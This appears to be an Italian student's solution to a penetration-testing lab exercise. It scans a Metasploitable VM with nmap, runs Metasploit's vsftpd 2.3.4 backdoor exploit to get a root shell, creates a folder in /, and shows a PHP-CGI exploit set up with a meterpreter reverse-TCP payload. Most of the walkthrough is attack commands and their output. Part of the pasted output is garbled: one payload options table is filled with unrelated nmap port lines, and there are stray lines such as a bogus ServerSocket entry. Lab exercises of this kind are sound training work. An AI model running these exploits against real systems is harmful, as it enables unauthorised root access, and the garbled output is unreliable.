



Traccia:

Partendo dall'esercizio guidato visto nella lezione teorica, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: **192.168.1.149/24**.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

Svolgimento:

Su una shell a parte eseguo una scan con `nmap -sV` per visualizzare servizi e porte

```
(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-16 13:31 EST
Nmap scan report for 192.168.1.149
Host is up (0.0013s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?         netkit-rsh rexecd
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.38 seconds
```

Dopo aver avviato metasploit con il comando msfconsole andiamo a cercare degli attacchi relativi ai servizi/vulnerabilità interessati

```
msf6 > search vsftpd
Matching Modules
# Name Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

ServerSocket 3000/tcp open: ssl/ssh Apache/2.4.6 (Ubuntu) (protocol: V1.3)

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
-----
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description
-----
```

Usiamo ora comandi come show options, set, show payloads per settare i parametri e poi il comando exploit per far partire l'attacco

```
Exploit target:
Id Name
--
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
# Name Disclosure Date Rank Check Description
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
-----
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.149 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):
```

```
Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  ---      -
  cmd       192.168.1.149/tcp  false     cmd classpath:grmiregistry
  initrd    2049/tcp open  false     2-4 (RPC #100002)
  nmaprx    1/tcp open  false     ProFTPD 1.3.1
  Exploit target:
  --
  0  Name      192.168.1.149/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
  1  Name      192.168.1.149/tcp  open  vnc          VNC (protocol 3.3)
  2  Name      192.168.1.149/tcp  open  x11          (access denied)
  3  Name      192.168.1.149/tcp  open  unrealircd   UnrealIRCd
  4  Name      192.168.1.149/tcp  open  irc          irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o/linux:linux_1
  5  Name      192.168.1.149/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:43473 -> 192.168.1.149:6200) at 2024-02-16 13:39:18 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:9c:24:72
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9c:2472/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1558 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1555 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:125401 (122.4 KB)  TX bytes:125609 (122.6 KB)
          Base address:0xd020  Memory:f0200000-f0220000
```

Dopo aver ottenuto l'accesso ci spostiamo nella root e creiamo una cartella

```
cd /
ls
bin
boot
cdrom
dev
etc
entSock
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Qui sotto un esempio di utilizzo di Meterpreter

```
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):



| Name        | Current Setting | Required | Description                                                                                                                                                                                         |
|-------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PLESK       | false           | yes      | Exploit Plesk                                                                                                                                                                                       |
| Proxies     |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS      |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT       | 80              | yes      | The target port (TCP)                                                                                                                                                                               |
| SSL         | false           | no       | Negotiate SSL/TLS for outgoing connections                                                                                                                                                          |
| TARGETURI   |                 | no       | The URI to request (must be a CGI-handled PHP script)                                                                                                                                               |
| URIENCODING | 0               | yes      | Level of URI URIENCODING and padding (0 for minimum)                                                                                                                                                |
| VHOST       |                 | no       | HTTP server virtual host                                                                                                                                                                            |



ClientSocket

Payload options (php/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.100   | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```